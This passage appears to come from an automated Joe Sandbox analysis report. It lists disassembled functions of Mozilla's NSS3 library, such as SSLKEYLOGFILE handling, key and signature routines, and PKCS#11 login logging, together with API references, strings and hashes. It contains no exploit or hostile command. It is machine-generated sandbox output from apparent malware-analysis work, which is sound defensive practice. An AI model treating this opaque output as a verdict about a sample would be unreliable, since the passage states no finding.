PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0086
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0096
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00A6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00B6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00C6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00D6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00E6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 76283fca29b8785933b1ec8695e4003b9408e80de1bd5fd47f9d3a060fb8591f
Instruction ID: c70da2970c8e9fb65a7aba75cae7ff8021e281610f52eb41564cc0cd195b09dd
Opcode Fuzzy Hash: 76283fca29b8785933b1ec8695e4003b9408e80de1bd5fd47f9d3a060fb8591f
Instruction Fuzzy Hash: 9E3144F0E017D89F9B4ADF25E14918E3AB4B716A89790512AD2A487700D7F4015ACFE7

Function 6CB26E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CB26BF7), ref: 6CB26EB6

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBCFC0A,6CB26BF7), ref: 6CB26ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CB26EFC
PR_NewLock.NSS3 ref: 6CB26F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB26F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CB26BF7), ref: 6CB26F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CB26BF7), ref: 6CB26F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CB26BF7), ref: 6CB26FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CB26BF7), ref: 6CB26FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CB26FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CB26FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CB26EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CB26F4F
SSLFORCELOCKS, xrefs: 6CB26F2B
SSLKEYLOGFILE, xrefs: 6CB26EB1

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 8b309e8789896ed391f567787daee472658b77753eccfc6ff6d157922c859a40
Instruction ID: e7aaaedec68aeafe9964d3ad90e25a6c7b0075e08d44238b82449d09319ba95c
Opcode Fuzzy Hash: 8b309e8789896ed391f567787daee472658b77753eccfc6ff6d157922c859a40
Instruction Fuzzy Hash: 3CA129B2A658D087EB10463CEC007B937E1AB83339F584365E839D7FD4DBBD94418256

Function 6CAA5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CAA5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CAA5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CAA5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CAA5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CAA5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CAA5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CAA5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAA5F89
free.MOZGLUE(?), ref: 6CAA5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAA5FB6
free.MOZGLUE(00000000), ref: 6CAA5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAA600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAA6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA6094

Strings

, xrefs: 6CAA5EEB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: cf5a0b864492d8fef558bd7bda03ac08a6ca3b2d62d8660431d2793358d6d1c0
Instruction ID: 2d77e1a3dfc6fda41eddaf374dc3b5c5258f1624e3e31ef25da05196ef6e213e
Opcode Fuzzy Hash: cf5a0b864492d8fef558bd7bda03ac08a6ca3b2d62d8660431d2793358d6d1c0
Instruction Fuzzy Hash: 29811AB1E006059BDF10CFA8DD80B9E77B5AF48318F184128E819E7751E731D99ACBD5

Function 6CAC6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CAC6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6DC3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAC6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAC6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CAC6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CAC6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CAC6EB9

Strings

ulDataLen = %d, xrefs: 6CAC6E0E
(CK_INVALID_HANDLE), xrefs: 6CAC6DBC
C_Digest, xrefs: 6CAC6D81
pData = 0x%p, xrefs: 6CAC6DF5
*pulDigestLen = 0x%x, xrefs: 6CAC6EB4
hSession = 0x%x, xrefs: 6CAC6D9E, 6CAC6DAE
pulDigestLen = 0x%p, xrefs: 6CAC6E42
pDigest = 0x%p, xrefs: 6CAC6E27

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 469b0ba2ebcab582fe4ed97440d2302fabfb70f1e71eb43e7c5c6ee319ea0534
Instruction ID: 3c6759912f30754fc3bc771945c7cb3d07d998e069f775b9cb44e2878437377b
Opcode Fuzzy Hash: 469b0ba2ebcab582fe4ed97440d2302fabfb70f1e71eb43e7c5c6ee319ea0534
Instruction Fuzzy Hash: 4B41B235701084AFDB01DBA4ED89AAA3BB5EB42318F484025E819A7711DB30D999CB97

Function 6CAC9C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CAC9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9CA3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CAC9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CAC9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CAC9D42

Strings

pPin = 0x%p, xrefs: 6CAC9CF0
(CK_INVALID_HANDLE), xrefs: 6CAC9C9C
C_LoginUser, xrefs: 6CAC9C61
ulPinLen = %d, xrefs: 6CAC9D0B
ulUsernameLen = %d, xrefs: 6CAC9D3D
pUsername = 0x%p, xrefs: 6CAC9D24
hSession = 0x%x, xrefs: 6CAC9C7E, 6CAC9C8E
userType = 0x%x, xrefs: 6CAC9CD5

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: f5dbe5996254ad8a3a54cc83bb8f79cb1ff35480dfb6263a65a30a8178967ed1
Instruction ID: 920667d88894b3d1cd5ae27add6287b72abe13f7ca952166154d65770c425784
Opcode Fuzzy Hash: f5dbe5996254ad8a3a54cc83bb8f79cb1ff35480dfb6263a65a30a8178967ed1
Instruction Fuzzy Hash: BB41F275701184AFDB008F64FE88E9E3BB5EB4231EF488064E81977711DB308998CBA7

Function 6CA81FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CA82007
calloc.MOZGLUE(00000001,00000084), ref: 6CA82077
calloc.MOZGLUE(00000001,0000002C), ref: 6CA820DF
TlsSetValue.KERNEL32(00000000), ref: 6CA82188
PR_NewCondVar.NSS3 ref: 6CA821B7
calloc.MOZGLUE(00000001,00000084), ref: 6CA8221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA822C2
GetLastError.KERNEL32 ref: 6CA822CD
free.MOZGLUE(00000000), ref: 6CA822DD

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 7cf309165bc38256b40cf7bd8fd1b6a7a136cde1c9fa986ff6303db3a5a1ca8e
Instruction ID: 3dd2c36e8a918e9955ff456377f6e00d4600da57deb4db48594e3b15050b1fb8
Opcode Fuzzy Hash: 7cf309165bc38256b40cf7bd8fd1b6a7a136cde1c9fa986ff6303db3a5a1ca8e
Instruction Fuzzy Hash: FC919FB1A027519FDB609F38D80D76B7AF8BF0A744F04452AE56AD7B40EB709448CF92

Function 6CBA9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CBA9C70
PR_NewLock.NSS3 ref: 6CBA9C85

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewCondVar.NSS3(00000000), ref: 6CBA9C96

Part of subcall function 6CA7BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA821BC), ref: 6CA7BB8C

PR_NewLock.NSS3 ref: 6CBA9CA9

Part of subcall function 6CB598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB59946
Part of subcall function 6CB598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA116B7,00000000), ref: 6CB5994E
Part of subcall function 6CB598D0: free.MOZGLUE(00000000), ref: 6CB5995E

PR_NewLock.NSS3 ref: 6CBA9CB9
PR_NewLock.NSS3 ref: 6CBA9CC9
PR_NewCondVar.NSS3(00000000), ref: 6CBA9CDA

Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA7BBEB
Part of subcall function 6CA7BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA7BBFB
Part of subcall function 6CA7BB80: GetLastError.KERNEL32 ref: 6CA7BC03
Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA7BC19
Part of subcall function 6CA7BB80: free.MOZGLUE(00000000), ref: 6CA7BC22

PR_NewCondVar.NSS3(?), ref: 6CBA9CF0
PR_NewPollableEvent.NSS3 ref: 6CBA9D03

Part of subcall function 6CB9F3B0: PR_CallOnce.NSS3(6CBF14B0,6CB9F510), ref: 6CB9F3E6
Part of subcall function 6CB9F3B0: PR_CreateIOLayerStub.NSS3(6CBF006C), ref: 6CB9F402
Part of subcall function 6CB9F3B0: PR_Malloc.NSS3(00000004), ref: 6CB9F416
Part of subcall function 6CB9F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CB9F42D
Part of subcall function 6CB9F3B0: PR_SetSocketOption.NSS3(?), ref: 6CB9F455
Part of subcall function 6CB9F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CB9F473

Part of subcall function 6CB59890: TlsGetValue.KERNEL32(?,?,?,6CB597EB), ref: 6CB5989E

EnterCriticalSection.KERNEL32(?), ref: 6CBA9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CBA9DAF
_PR_CreateThread.NSS3(00000000,6CBA9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBA9D9F

Part of subcall function 6CA7B3C0: TlsGetValue.KERNEL32 ref: 6CA7B403
Part of subcall function 6CA7B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CA7B459

_PR_CreateThread.NSS3(00000000,6CBAA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBA9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CBA9DFC
_PR_CreateThread.NSS3(00000000,6CBAA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBA9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CBA9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA9E89

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 36280098a916a6ea074e986b98f58489dce33355d3994cc7147e44b39eac7727
Instruction ID: 5c4842c7a372a604d93d7acb63504e82fb2982c985942a10eff9a27fcbb8a302
Opcode Fuzzy Hash: 36280098a916a6ea074e986b98f58489dce33355d3994cc7147e44b39eac7727
Instruction Fuzzy Hash: AF615DB1E00746AFD710DF75D844A6BBBF8FF08248B044529E859C7B11EB31E859CBA1

Function 6CAA3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CAA4014

Part of subcall function 6CAA39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAA5E6F,?), ref: 6CAA3A08
Part of subcall function 6CAA39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAA5E6F), ref: 6CAA3A1C
Part of subcall function 6CAA39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4038

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CAA404D

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CBBA0F4), ref: 6CAA40C2

Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAEF0C8
Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CAA409A

Part of subcall function 6CAEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CAA411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CAA4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CAA4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CBBA1C8), ref: 6CAA417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CAA4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAA41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CAA41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAA41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CBBA1A8), ref: 6CAA422D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: f455692a491fe3ed21f67eed630f2efdc0ad34ca4a3140e736762319c46589eb
Instruction ID: 8f4909c146236d1689eca83996171bb5a82e558acf1c28a7d9b5eb80ecced71e
Opcode Fuzzy Hash: f455692a491fe3ed21f67eed630f2efdc0ad34ca4a3140e736762319c46589eb
Instruction Fuzzy Hash: B65117B5A003006BF7109AA9AD42B6B76DCDF5434CF081629F959C7F82FF31E58993A1

Function 6CAE8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8E9E
PORT_ArenaAlloc_Util.NSS3(6CBF0B64,00000001,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CAE8E01), ref: 6CAE8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBF0B64,6CBF0B64), ref: 6CAE8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CAE8F3F

